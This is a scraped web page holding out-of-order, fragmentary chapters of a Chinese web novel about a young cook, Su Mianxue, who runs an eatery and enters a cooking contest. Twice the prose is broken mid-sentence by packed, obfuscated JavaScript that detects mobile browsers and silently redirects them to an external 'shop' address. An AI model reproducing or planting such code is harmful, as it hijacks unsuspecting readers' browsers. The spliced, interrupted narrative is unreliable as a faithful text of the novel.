“是了，现在租金呢，每月是半贯钱，因为东家急得出售，所以再三要求是要年租，原本这一年下来是六两，如今只收你五两，你看如何呢？” 牙婆作为中介，必然会从中抽取一些，她早已提前了解过铺子的大致价钱，每月一般在430文到530文之间。 这间铺子位置好，采光好，空间也大，每月500也算值，且一年折下来，如今只用五两，是个极好的价格。 牙婆敢这般说，想来已经早早和东家说好。 “一年一次付清，五两银子可不是小数目了。”苏眠雪开了口。 开铺子租金都是次要的，主要在购置方面。 “姑娘是开小馆的，这位东家从前也是开酒楼的，我看您当是不常来南街，不知道这儿都有什么楼，什么馆。” 牙婆说得来劲，她先前早有了解，当下带苏眠雪进了厨房查看，两边大窗户敞亮透风，灶头足足有六个，三个为一组，从小到大排序好，边上是两个大架子，用来放调料和备菜。 “姑娘觉得如何？”牙婆又劝，“我瞧您是个富贵出身，自己出来经营做生意的，这间铺子地段好，从前的东家就是红火的，名儿叫做金玉楼，若非人家急得去长安，这间铺子少说还要涨二三十文呢。” 牙婆比划着，苏眠雪暂且拿捏不定，家里还有一位病重要吃药的，杜老头半贯钱的药都已经被强制买下，现在说不治了也实在太亏。 何况馆子又不单单是厨房一个，外面的大堂更该去细细修建。 “我瞧地是不错，不过铺子的租金只是里面的一小部分，我家里如今还有位病重的，就怕这边钱交了，他那边药又吃不上了。” 苏眠雪苦着脸，说起话来真情四切，好看的眉都一块皱了起来，站在窗前写满了不舍，但又实在拿捏不定，只能看着淮河苦恼。 “这……”牙婆也犯了难。 东家不日就要离开，这铺子是急得脱手，必然是不会再拖下去。 南街的第一个位置是和紫荆街的交叉口，南街上多是酒楼、茶楼、首饰铺、成衣坊，那紫荆街便是供人游玩观赏的地方。 右边一整条街都在水上，街上摆了不少摊贩小吃，走累了正该是休息的时候，所以说这铺子地段好啊！ 地方大又醒目，金玉楼，便是取了金玉满堂之意。 苏眠雪笑着谢过好意。 病重吃药是个幌子，更多的是，后面的一系列装修请人，花出去的都是白花花的银子。 牙婆看破不说破，旁的铺子都是月租，每月月初四五百文，若是不合宜随时都能脱手，里头更多的是心血，但店都经营不下去，再多的心血都不管用。 回到屋里，杜老头已经坐在院子里等待：“苏老板，您今儿这般好看，这两日必是赚了大钱，先前用得都是猛药，今儿给这位公子缓和一二，好好调养才对。” 杜老头乐呵呵，自顾自进了屋。 他疯疯癫癫的模样叫苏眠雪没有半点信任，只觉对方在敲诈勒索，现在100文的叶子，再是500文的看不出啥名的药粉，苏眠雪早早请好了新的大夫。 李大牛带着人一来，将杜老头挡在后面，让四问堂的宋大夫入内就诊把脉。 杜老头也不恼，搬了一张椅子坐在门边，不稍片刻，宋大夫拿出一张宣纸，在纸上也了数十种药名。 “李公子，苏姑娘，你们便按照这张单子，到四问堂里拿药，这位公子余毒已散，明日便能清醒，今天提前备好乌精饭，明日便能用上，好给这位公子调气养生。” 苏眠雪接过药单，谢过之后李大牛跟着宋大夫去抓药。 杜老头瞥了眼，勾着唇角嘲弄着：“苏老板的生意红火，这单子上的药可样样精贵，这一月下来也要好几两银子咯！” 苏眠雪抬眸看了眼，不语，往院子里走转个弯到了前院。 回到厨房抽取书细细翻找。 苏时章所记载的这本书中种类繁多，厚厚一叠都做了区分，汤类，炸货，肉类，果蔬类，亦或是养生的都做了分类。 且苏眠雪早早翻阅了整本书，自己铭记于心。 制作乌精饭首要的便是南烛，一种常见的灌木，枝叶浸出的液是黑色，有较为浓郁的香味。 南烛是味药，有“止泄除睡，强筋益气力”的作用 7. 胡辣汤 《苏记美食录》全本免费阅读 日升月落，晨曦初露。 小锅里煮上乌米，苏眠雪摸着黑回了后院，打了一盆清水掬在手里洒在面上，忙了一日还未清醒的脑袋瞬间清醒。 李大牛没有收她的银子，她心里自然不好受，日子刚有了点彩头，但家中的拖油瓶偏偏不安生，他身上的锦袍是上好的，但衣服里是没有银子的。 邻居家里拿来的乌米是去年留下的，水滚烫后便熟透了，捞出来就能食用。 苏眠雪放在一旁，准备好瓜果蔬菜，面类肉类开始开张。 牌子刚在门前挂上，正巧碰到淮景书院，喜辛食辣的李公子，瞧着他下巴上的两颗大痘，一拍脑袋突然想起家中少了什么。 是辣椒！ “苏老板，早上好啊。”李公子向她打招呼。 苏眠雪眯着眼，睁开布满血丝的眼珠子，强打着精神和他打了声招呼。 “李公子早上好，瞧瞧要吃些什么，比如一碗油泼臊子面？” 菜名是苏眠雪随口一说，早上吃不了大鱼大肉，多是用些白粥素面馄饨之类，而随意点出的菜名，也是苏眠雪喜欢吃，但要她去做。 抱歉，大早上的并不愿意。 “进来喝碗粥吧，配两碟菜也就三文钱，您和赵公子都是我这老顾客了，多送一份梅子姜。” 苏眠雪招呼着，李公子今日起了大早，无所事事跑到了这边溜达，为了美食还是为了看人，他自己心里不晓得。 “苏老板，那什么油泼臊子面不做吗？”李公子吸溜一生，白粥配菜日日吃，也吃不出什么花样，本来打着瞌睡的脑袋再听到油泼臊子面时骤然清醒，等待苏眠雪的下一步动作。 哪知苏老板是个脾气大的主，早上只有白粥，那就是只有白粥，旁的除非给够钱，不然甭想她坏了“规矩”。 “油泼臊子面要等中午，李公子想吃，现在这喝完粥，等中午再来吃呗。” “每天早上都是喝白粥，就是小菜翻出了花，也不爱日日喝啊！” 人都是会腻歪的，大米是必需品，但必需品也非受得了日日喝这一样东西。 苏眠雪如今买得东西并不多，菜单连着好久也没翻新，地方小也不能让她大显身手。 想买下铺子的心理再次袭了上来，但铺子的租金只是小价钱，多得是后面的投资。 哪有只赚不赔的，苏眠雪硬生生把后面的资金都算了下来，家中那人别救了，开张一个新铺子估计能苟延残喘几天。 再凭着先前的人气将铺子开大。 “苏老板啊，我们书院食堂里做得东西都是一个味，我今儿就想吃别的东西，不想喝粥，你说要不你做些其他味道的粥，到我们书院边上，指不定能大卖。”李公子将心中的想法都说了出来，“比如甜的，还有咸的，辣的，只要能想到的，都能拿出来一试。” 李公子舔唇，见苏眠雪思考时，坐进了苏记的大堂里，冲她一喊：“苏老板，我不想喝白粥，您自个瞧着做！” 大嗓门把苏眠雪在思考中拉了回来。 粥要甜的，咸的，辣的。 她第一个想到的就是八宝粥，银耳羹，绿豆汤……皮蛋瘦肉粥，青菜山药粥，番茄牛肉粥，还有胡辣汤。 这些都是她喜欢吃得，但有些并不会适合这的人。 李公子不想要无味的白粥，嘴里已经点了名要喝辣的，不就是在说胡辣汤吗。 李公子是个随心所欲的主，每次吃什么都是抛给店家来猜，久而久之愈发不满，只觉淮州没有适合的菜色。 在淮州已有两年，他上次吃辣子还是在一家小馆里，小馆名儿记不住，所谓的辣子其实是红椒，放在菜里点缀，不仅不辣，还带点甜味。 胡辣汤非是用辣椒逼出香味，而是依靠桂皮，小茴香，草果，八角，花椒，丁香，豆蔻，香砂，干姜，胡椒，香叶，山楂，砂仁，良姜，白蔻，陈皮，白芷，辛夷，筚卜，千里香，青麻椒粉这些大料来提香，吃着嘴里又香又麻。 苏记没有这么多食材，有些东西翻遍整个周朝都没。 将脑子里的食材提笔记在《长安苏记美食录》，这些材料没有，但做一道简单家庭版的到绰绰有余。 她面粉揉成团后放在一旁醒面。 出门右拐直走到南桥的一端尽头，和猪肉铺子隔了三个摊位的便是卖猪骨汤面的铺子。 “小苏老板啊，今儿要买猪肉吗，我这肉今天可是顶顶好的！”卖肉老板挥舞着手里的大刀。 哐哐两下将一根排骨一分为二，称了重，往对方篮子里一塞，“四十三文！” 一斤猪肉是三十五文钱，苏眠雪拿起一块猪肉，先看花色，再掂重量，今天的猪肉是挺不错。 苏眠雪已经挑好一块肥瘦分层，皮薄不腻的猪五花肉，这块肉拿去做红烧肉，肉质细腻，瘦而不柴，肥而不腻。 李大牛前前后后掏了不少钱，床上的男人还没醒，他每次做完工都会到苏记来帮忙，刚好煮道红烧肉，不至于每顿饭都寒酸。 “这块肉有一斤吗。”苏眠雪将肉递过去。 “有！四十三文钱，给您包好啊。”肉铺老板称了下，见份量刚刚够，拿油纸包了一下放进她臂弯里的篮子。 “猪肉不是三十五钱吗？”苏眠雪问了句。 以前都是这个价，而且她要一斤猪肉，这屠夫也不是不会来事的，没有暗里强买强卖，要多称些肉的例子。 见她疑惑，肉铺老板立刻解释：“苏老板，是今天这头猪好，杀出来的肉也漂亮，喂养方面也费了点功夫，所以是按照城里的价格给得。” 苏眠雪将钱袋里的钱取出，“您猪肉都给我了，我也不能不给钱，今儿回去就拿它煮红烧肉，若真好吃，自然还会来光顾的。” “您都来买多少回了，还不知道我家的肉有多好，您就放心拿回去烧，就怕您将来一直念着这个味，还找不到呢！”肉铺老板郎爽笑着，一边收钱一边剁肉。 手速快得眼花缭乱 8. 红烧肉 《苏记美食录》全本免费阅读 一点辣椒都没，看着味重，这能好吃吗？ 他想吃辣的，但早上不开锅就给他煮了一锅看似咸的汤，连碗饭都没有，里面的料都是在普通不过的，能好吃吗？ 李公子嘀咕着，拿起勺子舀了勺汤放进嘴里，辛辣的刺激感在味蕾中绽放，是辣的！加辣子了！ 不对，是麻，喝完之后舌头麻麻的，加花椒了！ 李公子在碗里翻来覆去，见料太多，抽出筷子将长条的豆皮海带捞出来吃了，浓稠的汤汁包裹在豆皮和海带上，一口下去满嘴带香，又麻又辣，好吃！ “没有辣椒，苏老板你拿什么做得？” 抬头，苏老板正在教育只穿了里衣的男子，将他带到边上的桌子，等他坐好后，还说：“你乖乖坐在这，我给你拿早膳，不准闹了明白吗。” 原来是脑子不太好，有点缺陷的。 苏老板脾气真好，换作其他店早就赶出来了，还会一点一点教对方要乖乖的坐椅子上等待？ “这碗汤名字叫做胡辣汤，是拿胡椒磨成粉调味，菜拿花椒炒过，里面还有牛肉，吃起来又鲜又辛还带点麻。地道得呢！” “是啊，苏老板手艺好，这一碗汤热乎乎的，早上喝刚好够开胃。” 胡辣汤放凉之后也不会影响口感，冬日里烫的辛辣口感可以暖身子，夏日里来碗温的，辣得可以开胃。 提前煮好的乌精饭捞出来，盛在碗里放在裴攸面前。 裴攸看了很久，苏眠雪见他不吃，亲自拿出一双筷子，放他手边，哄道：“快吃吧，吃完回去接着休息。” “苏老板人美心善。”李公子说。 还是老样子，李公子给了20文钱，不用找。 苏眠雪怕他饿，又给了一个菜饼，“早上要吃饱，这个菜饼不算钱。” 大好人啊！ 李公子又一次感慨，苏老板人美心善不止，做生意也大方，瞧他就喝了碗胡辣汤，怕他喝不饱又送了一个菜饼，多值钱！ 裴攸目送李公子离去，他不知道苏眠雪的名字，但知道别人唤她苏老板。 “苏老板，没有菜，就是吃乌饭，也劳烦给点白糖。” 米是陈年的米，裴攸在旁人的屋檐下，丝毫没有所谓的自知之明。没有血色的指腹摸了把桌子，淡淡的油脂始终擦不干净。 木桌滴了油，就是拿热水擦十几二十遍，都擦不净，只有猪胰皂去洗，才能把桌上看不见的油脂狠狠洗下来。 苏眠雪给他拿了一碟酱菜：“就着吃，吃完了回去休息。” “这个，要配白糖才好吃。”裴攸推开酱菜，义正言辞反驳。 裴攸眼尾下的红痣鲜艳夺目，苏眠雪离得近，自然瞧得清，还有他那双似水又冰冷的眸子里写满疏离不悦。 苏眠雪来了脾气，她这是救了一个活祖宗不成？每天给他喂饭喂药，还要李大牛来给他擦身子，不然就他昏迷的这几天，他还能干干净净站在这儿？ 镇里的小馆养不了矜贵的少爷，苏眠雪跟陀螺一样忙活了一上午，厨房的盆子堆满了碗筷。 她生意好，这几日被灶头的烟火气吹得脸都红润不少，不复从前的白皙。 “素面好嘞！还有一份醋溜土豆丝，菜都给您上齐了！” 裴攸慢条斯理吃完乌饭，端起边上的药陷入了沉思。 满满一大碗的黑色药汁，白瓷碗边上都沾了药汁而变了色。 在瞧苏老板一个人跟陀螺一样忙前忙后，从厨房端着盘子到大堂，收了钱带着脏碗脏筷回去，还要端着盆热水不时擦桌子上的油渍。 也不敢耽搁，扭曲着脸闷头干了药，拿上自己的脏碗进了厨房，对着盆子里小山一样高的碗发愁。 苏记不大，现在天气又热，到了晚上苏眠雪便会学着夜市摆了几张桌子在院子里。 裴攸搬了一条椅子，拿了一个干净的大盆，抹布抹了草木灰，先将油腻腻的碗拿热水滚一遍，去了油之后拿抹布一擦，放进另一个大盆。 中午都是随意糊弄两口，苏眠雪除了给他熬药放桌上，两人间在没有其他交集。 …… 李大牛的工作是在码头卸货，每天四十钱，刚好能买一斤肉，还能多五钱呢！ 若是混的好，将来做一个监工，一天能有五十钱，一个月便是一贯半的钱呢！ 对于小乡镇的人来说已经不错，但李大牛却清楚，对于苏眠雪来说是远远不够的。 苏大伯去了长安，以他的才干必能在长安闯一番天地，苏眠雪如今是在景乡镇，但景乡镇只是她的起点，只是她去长安的一个沿途。 或许一年，或许半年，甚至几个月苏眠雪就该离开景乡镇，若他不做努力，只怕往后永远都见不着了。 “招兵咯！招兵咯！跟着大将军去悬阳关建功立业！嘿，那个，就你！”站在招兵告示边上的士兵唤住李大牛。 李大牛停下脚步：“我？” “对，就你！瞧你生得就魁梧奇伟，瞧着就结实。”士兵敲了敲告示，“想当将军吗？去参兵保家卫国，不仅给家里头争光，还能领五两银子呢！” 参兵，保家卫国。 李大牛虽是码头的工人，但天下的男子谁不想建一番功业出来。 他问：“能去长安吗。” 士兵一愣，周国有多少小兵小将，又有多少位将军。他们无名无姓，在军中名字只是代号，去长安？ 长安那是什么地方。 是集四海珍奇，繁荣昌盛，汇天下繁华，夜夜笙歌不眠夜，更是天子脚下，世家权贵云集的地方！ 一个无名小卒到长安也不是不成，只是李大牛这些人都是戍边时临时征发，事后便可返乡，三五载的时间。 “当然能了，待凯旋而归那日，小兄弟还能跟在大将军后面一起迎接百姓的欢呼呢！威风凛凛着。” 戍卫重镇的只有守城的份，出门和大将军打仗，你连兵法训练都没有过，还想上战场，这不是送命么。 李大牛并未多想，如今天下太平……只要没有大乱，只要皇上还在，只要敌国没有打过来，都算做太平。 “小兄弟觉得怎样，来写个名，就算把你记进去了。” 李大牛抿着唇，眉头紧锁，士兵笔已经递到他跟前，良久，有些闷闷：“在考虑考虑。” 兵募制非强制性，既然不是强制性，悬阳关只是缺人手，急，但又不是很急。 如今昼长夜短，做工的时间拉长，但工钱并没有多。 一碗只有汤没有豆子的绿豆汤值不了几个钱，但对于商人来说就不同，买卖的时间拉长，他们赚得也就多了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956753|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文的簪子，在发间比划一二。 看着铜镜里的自己，素色簪子前面挡了支淡黄色栀子花簪，“没想到在这能碰到苏姑娘，姑娘容貌俏丽，不如选这只簪子。” 苏眠雪习惯在做完事后抹上栀子花手油，久而久之就沾了栀子花的香味。 栀子花簪做得栩栩如生，它摆着的位置在最显眼的地方，这个位置的簪子价格最贵，也是摊子上成色最好的。 来的人是和她白日里颇为投缘的一个厨子，年纪莫约二十四五，长相端正，她今日得的大部消息都原因这人。 一百文钱，苏眠雪从袋中取了钱，递了上去，对着铜镜将簪子簪在发间，称赞道：“公子眼光甚好，这支簪子，我很喜欢。” 男子点头称是，清河城地方大，城西一角是乞丐居住的地方，一席破棉被放在地方，面前放了一个破碗。 裴攸瞎转着，矮脚屋舍被藏在亭楼下边，有家卖绿豆糕的藏在里边，价格便宜，他买了一些，见不远处的几个坐在地上的乞丐，将兜里剩下的几个铜板丢在了第四个位置的乞丐碗里。 从袋子里的绿豆糕，拿出来吃了一块。绿豆味不重，刚刚那一口咬了半块，口感有些腻和噎。 裴攸不慎在意，带回去给了苏眠雪。 休整三日，便是到了比试的时候。 赵儒远远就已经躬了一礼，苏眠雪见了，走上前打声招呼，便是有一老头挑衅着，“赵兄今年，是又要做你的白鹤展翅吗，瞧着是漂亮，但中看不中用啊。” 年年都是这道菜，年年都是停在了最后一步路。 老头挑衅之后，择了一张桌子驻下。 赵儒甩袖欲要离去，见苏眠雪还愣在原地，心里有了打算。 “苏老板，我们都是从景乡镇出来的，不如接下来的路，搭个伴？” 苏眠雪敢拿出这道菜吗，赵儒伸出手让她来选位置，等她看向时，唇角扯出笑，“苏老板第一次来，你先挑个位，我在你边上如何。” 苏眠雪看了一圈，“我第一次来参赛，还不熟悉流程，您是长辈，不如您选个位置，我跟在你边上。” 她态度谦和，赵儒受人捧惯了，享受着苏眠雪作为小辈的恭和，领着她到第三排靠中间的位置，苏眠雪看了眼，前面就是先前呛他的老头。 “他那人去年输了老夫，每次在老夫之后，难免心生怨恨。”赵儒抚着须，居高临下眺了一眼苏眠雪。 苏眠雪点头：“赵老板是前辈，资历经验都在我之上，接下来的路，还需仰仗赵老板。” 她这一番话满足了赵儒的虚荣。 等到时间，一声锣鼓喧天，数百人皆紧条有序，选着自己的食材，在领域中大显身手。 时辰到，锣鼓再次敲响，众人皆停了手，等待礼官宣告去留。 一场结束，赵儒的视线停在那道白月川红云时，唇角微仰，再对上的，是前边不怀好意的视线。 “赵兄，你今年的菜是什么。” “赵兄不愧是夺了三等的厨子，做得菜，一如既往的不同凡响啊！” 38. 牡丹鱼片 苏眠雪拿袖子擦掉额头上的汗，刚刚处理完猪大肠，现在身上一股子的味，熏得那老头向后退了两步。 老头一人说赵儒还不够，又来了七八个人，指着那道白鹤展翅，讽刺着。 “赵兄是江郎才尽吗，怎么连着这么多年，都是一道白鹤展翅啊，今年这白萝卜拿盐腌过吗，别又是一点味都没有。” “赵老板年年都是一道菜，江郎才尽这话说得不对，该是没几分本事，只学了这道菜才对。” …… 几个人嘻嘻哈哈，将赵儒贬着连鞋底下的泥都不如，苏眠雪忍着笑，往后缩了缩，等礼官给了她过关的牌子，沉甸甸的拿金漆刻画过的牌子，拿在手上颇有排面。 正要收拾被弄乱的台面，突有一人把目光移到了她身上，带了几分客气，“姑娘可是和赵兄一块来的，两人长得，还真有几分相似。” 相似？ 裴攸到底会不会办事，怎得连她也一块骂上了，为了更显真实吗。 她客气说：“我和赵老板是同乡。” “懂了，懂了。”几人围着相互笑着。 说话间不乏将话抛到她身上，但不管对方说什么，苏眠雪都未理会，在人群中搜罗着，很快将目光放在的一人身上。 对赵儒颔首：“赵老板，裴攸来了，我今天中午不方便陪您一块了，先走了。” 赵儒老脸红了又青，跟颜料一般花颜六色精彩绝伦，在一群老家伙面前被说得连个洞都没地方钻，还是当着苏眠雪的面！ 现在急着走，是看够了他的笑话，怕憋不住笑了才对！ “苏老板第一次来清河城，当和裴公子好好逛逛，下午，我们在一块来。” 赵儒咬着牙，死死盯着两个离去的背影，撑着笑，和几个好友谈及过往。 午间的太阳充足，她顶着太阳站了一个时辰，现在早就身心俱疲。 早知道大赛中的材料都是新鲜准备的，到没想到会这么新鲜，新鲜的像是刚从猪肚子里取出来，出了一身的汗不止，还染了一身的味道。 回到客栈，苏眠雪沐浴之后换了一身衣衫，店小二已经提前送上吃食，都是些清淡的菜色。 用完膳，她拿重新梳洗了一番，伸手拿过边上的蝴蝶簪子，将栀子花簪放到了一旁，手上抹了润膏，早上碰过水，指头泡发涨起了条条皱痕。 裴攸替她备好下午出门的东西，拿了一把伞，道：“中午晒了这么久，脸上又起了皮。”精致的宝蓝色盒子中，是细腻光滑的白色膏体。 开了盖，有淡淡玉兰脂香，用食指小心挖了一小勺，抹在晒红的脸上，清凉的感觉淡化了脸上的不适，指头打着圈，很快起皮的地方没了痕迹。 苏眠雪又挖了一些，均匀抹在脸上，“是极好的东西，抹在脸上都不疼了。”他手上另一边已经拿好东西。 她要带的东西不多，不过是随身拿着用来傍身，以便不时之需。 这一路来裴攸跟在边上，下午的太阳还有些晒，等到结束时，天气就会凉快下来。 回到湖边，敲鼓的人手里拿着棒槌，苏眠雪找到赵儒，还是白天的位置。这会的赵儒有些狼狈。 那老头合着一群人离开后又来了一批人讽他年年都做这一道菜，他瞧是嫉妒心作祟，他就是年年做一道菜，不也拿到了三等。 “苏老板，你今天早上做得海棠果，看上去着实不错，就是那块木头，是从哪解决的？” 赵儒凑上前，捋着下巴上被风吹乱的须，谦虚请教着。 苏眠雪拿下背在背上的袋子，将做工粗糙的木头递过去，“是我自己带来的，简陋了些，能救急便成。” 赵儒拿过细细观赏，苏眠雪垂直眸，一直到锣鼓喧天，昭示着比赛再次开始，赵儒依旧没把木头还给她。 她手里的动作慢了许多，目光扫过放在后头的竹筐，一筐的蔬菜，一筐的河鲜荤肉，剩下一筐边上肉铺里拿来的新鲜内脏，都是没处理过的。 赵儒并非次次都做一道菜，但又要炫技又要好吃，他唯一做得出又快又好看的，就只有那白鹤展翅了。 听名字，就知道他藏在心里头的凌云志。 但今天来了整整两批人来讽他的白鹤展翅，说他活了半辈子，只会这一道菜，想去长安简直就是白日做梦！ 赵儒气，但气归气，听着那些话又只能陪着笑脸，装作不懂跟着他们一块笑。 来来回回被多少人看见了，他一张老脸都丢光了！ 赵儒率先拿走放在后面的猪大肠，食材并未一人一份菜，而是四个人用一份，整整三大筐，一场比赛下来，剩下的就会丢掉，每次比赛都是新鲜的食材。 他拿了他们这组的肥肠，苏眠雪再想做这道菜，就要去其他组那里拿，大家都是竞争对手，就是不用，也不会给她拿去。 万一苏眠雪刚好就只会这道菜呢。 比赛里突然反水，这些对于考官来说都是无伤大雅的事，他们要得是有本领的人，至于其他的，送上去了上边自会挑选。 比起圆滑会小聪明的，在宫里，太过老实的才是第一个被吃掉的棋子。 比赛中只要不闹事，其他的一律不管。 安王在位多年自有一番处世之道。 赵儒算准了苏眠雪要吃哑巴亏，将猪大肠全拿了走，一点也不给她留。 就是留，做树的木头在他手上，苏眠雪就是拿了肥肠也做不了跟他一样的。 赵儒拿得快，手上功夫也快，已经开始处理肥肠，这般看来苏眠雪别无选择，只能从竹筐里挑出一只草鱼，皮笑肉不笑，脸色很难看。 苏眠雪张嘴想说什么，最后止住话头，僵着脸开始处理草鱼。 草鱼去鱼骨、鱼刺和鱼皮，鱼肉顺着身上的纹路，斜着刀切下鱼片。 鱼片大小均匀，似牡丹花瓣舒展，放在小盆里，加盐搅拌，用清水清洗干净，最后倒料酒、葱姜和盐，以此用来腌制入味。 土豆去皮放蒸笼里蒸熟，她在几个箩筐里翻了一统，找出里面的麦粉，裹在鱼片上，用擀面杖压平，鱼片样子不一，有大有小，摆不出好看的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963766|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状。 安王准备的厨台物具应有尽有，苏眠雪摸了好久，翻出一把剪子，上边生了绣，但的的确确是一把新剪子。 赵儒虽说一心在自己的厨台上，但因为心虚，当着人家的面做截胡的事，暗中观察着她的脸色。 就怕以后他那人生又添一笔。 身前身后不少人盯着，他把自己的剪子递过去：“苏老板，这些厨具都是提前准备的，难免有些中了招，压在底下生了绣。这场是要礼官试吃。” 赵儒的意图明显，苏眠雪收，下剪子，“多谢赵老板提醒。” 此刻慌乱已然全无，她既将身心都投入在菜品中，自分不了其他心思来想其他的事。 鱼片被剪成扇子模样，锅里倒油，等待六成热时，放入鱼片边拿筷子定型，成一瓣瓣微微躯卷，努力绽放的花。 蒸好的土豆压成泥，捏成团，中间插胡萝卜丝充作花蕊，鱼片从小到大，从内到外，直到一朵牡丹花的完成，再接着做下一朵。 三朵花大小不同，摆在盘中折了枝叶做茎，浇上甜口酱汁。 绿叶做景，似朵朵盛开的牡丹花， 赵儒擦去额前的汗珠，刀尖锋利，又因手忙脚乱，在一颗小小的海棠果上略显笨拙。 在盘中铺好果片，四五块肥肠堆在上边，锣鼓应声落下，赵儒筷子一抖，上面的肥肠掉在外边。 刚摆好的盘散落了开，好在这轮不重造型，重视口感是否奇异。这一下倒无伤大雅。 礼官也有好几个，这轮能不能过，一半靠实力，一分靠运气，剩下的，收了银子一句话就能使的，拿不了一等去不了长安。 花了银子的，那个不是给自己酒楼博一个美名声，至于前几名的事，不关他们的事，只要过了这一关，在自己镇里有面便成。 苏眠雪这道菜做得漂亮，礼官一路吃下来，足足尝了九道菜，到她这，只要味道过关就能拿到牌子。 礼官抿了几口清茶，拿起摆在牡丹鱼片前的筷子，夹了一片，递给她一块牌子算是过了。 快得苏眠雪好像本该如此，又有些出乎意料。 粗略转了一圈，才发现留的人占了七成，淘汰的三成左右。 赵儒手里捧着嵌了银边的木牌，幽幽看了眼，这道菜比之他的要新颖些。 但夸人的话又深深给他来了一击，这是人人都知道他每年只有一道菜了？ “今天淘汰出去的都是来玩的，苏老板，明天的才是正式开始，七人一组留三个，以此类推，能笑到最后的三人，才能拿到去长安的拜名帖，进了里面，听说会听学一月，再做比试。” 赵儒负手而立，垂下眼的那刻盯着盘子里的肥肠，幽幽笑着，凑到她跟前，问道： “苏老板新买了一支簪子，今天怎没见你戴起，可是不喜欢？” 苏眠雪双手搭在桌前，站了两个时辰突然松懈，大腿弯都在疼，耷着眼皮，笑容凝在嘴角。 “不适合我下午的裙子，所以就没戴上了。” “赵老板，这是何意？” 39. 莲房鱼包 赵儒阴沉着脸，压着嘶吼的声音：“那群人是不是你找过来的，苏眠雪？” “什么人。”苏眠雪关切询问，“是今早上和您叙旧的几位老前辈吗？” 赵儒憋着一股气，咽下从肚子里蹿到脖颈上的怒意，“你走后，又来了一批人，那批人是不是你找的？” “三日前给你挑了栀子花簪子的男子，是我的外甥，他说与你有缘，那日不见你身边的裴攸，待你走后，见裴攸从青石路过来。青石路是去城西的路，那里是出了名的平民窖，你说说，他去那是为了什么？” “买绿豆糕啊。”苏眠雪不假思索。 裴攸的的确确是去买了绿豆糕，城西的糕点要比其他地方便宜，裴攸爱走路，为了省钱多走几里的路，这有什么好奇怪的。 买绿豆糕去城西，这两个人脑子有病！ 赵儒不信，第二批来对他指指点点的人，压根不是参赛里的人。 苏眠雪这人最是狡诈，攀权富贵哄得罗夫人对她关怀有加，每每他找贾三，贾三都拿没空来搪塞他。 仔细一打听，贾姨娘冲撞了老夫人，县令是大孝子，连着把贾姨娘和她的子女都冷落了。 她没来时，他生意做得好好地，她一来，抢了他大半的客源，怕是往后在景乡镇没有容身之地的是他赵儒了。 “买绿豆糕要去城西？老夫怎么记得苏老板住得客栈，底下就有三家卖糕点的铺子呢？是别有用心呢，还是存了心的要来陷害。”赵儒眯着眼，泛着绿光的示着老态的眼珠子恨不得瞪出眼皮子外。 苏眠雪：“便宜。 “要吗，要得话付点路费叫裴攸给你带，比边上的便宜好多呢。” 赵儒盯着她的脸，苏眠雪脸不红心不跳，再平常不过的样子，被盯久了还是忍不住发怵。 倒也不是心慌，就是被这般阴狠毒辣的眼睛盯着，从脚底发自内心的害怕。 他这人天生的疑心病就重，身边唯一信任的，只有赵山一个。 赵山是从小就跟在他身边的下人，后来家中遭受变故，他卷了钱财，带着赵山来了景山镇。 半辈子算得上顺风顺水，几个所谓的老友来讽他，对他而言是屈辱愤恨，但几人井水不犯河水，每年也只有这件事能拿他来调侃，装作不知，忍忍就过去了。 他怀疑苏眠雪，正是自己用过的手段，从前的手段到自己身上，他要去猜忌，但那些老友又不是好开罪的人，算来算去，苏眠雪没什么本事，倒成了他第一个猜忌的对象。 “我这人向来喜欢没事找事，能省一个铜板，让我走十里路都能走得，城西的绿豆糕十钱一份，比客栈下面的便宜了整整二十钱。” 裴攸不知何时站在苏眠雪身后，垂着手就这般看着赵儒，抿了抿唇，艳丽的脸色绽出意味深长的笑，“赵老板也想尝尝绿豆糕吗，路长了些，十五文钱我去给你带来，比这儿的要便宜十五文钱，划算多了呢。” 他伸出一只手，好看的脸上的普镀了一层金光，在场的人一时看愣了眼。 前边的老头瞬间抖擞了精神，向他走来，说得赵儒哑口无言：“赵兄，你简直越活越过去了，小姑娘今年才多大，就是有本事，一年半载的时间还能比得过你这个老狐狸？多少人不服你上年轻而易举拿到的三等，好好算算，可是第九的好名次，以往你可没有这般前面的名次呢。” 赵儒回头看，不少人频频回首来看，他灶台上的菜，是白日里苏眠雪做得菜，是什么意思，不言而喻。 众人收在眼中，但也仅仅是看着。 手段恶劣又如何，只要能赢，赢得了众人所及不到的高处，所有的过程往来都不过是上位那方的话。 赵儒不在乎，只要他拿了前三名，就是前面再破烂不堪的事，安王都会让他干干净净的。 对于异样的目光，他又非是占理的一方，老头和他一早就不对付，眼下只能灰溜溜的走了。 …… 黄昏拉开了序幕，人声鼎沸的畔湖渐歇，灶台缩减后，赌场钱庄上了赌注，只待明日的到来。 经过昨日经历，老头很自然的将她拉入麾下，选了几个不大惹人注意的位置，拿出钱袋，抽出一大叠银票，压在自己的名下。 老头名字唤作台潇，是个讲究意气的人，苏眠雪带来的钱不多，一开始就没打算给自己押。 台潇拿了自己的钱，五百两银票押在她身上，道：“届时若你过了这关，本金还我，利息算你的，若你被淘汰了下去，就当时是买个乐呵，虽说这关是第一关，但也不能掉以轻心，不过你年纪小，第一次来能走到这儿，已算不错。” 人多，所以要一关关淘汰，只留下最厉害的那三人。 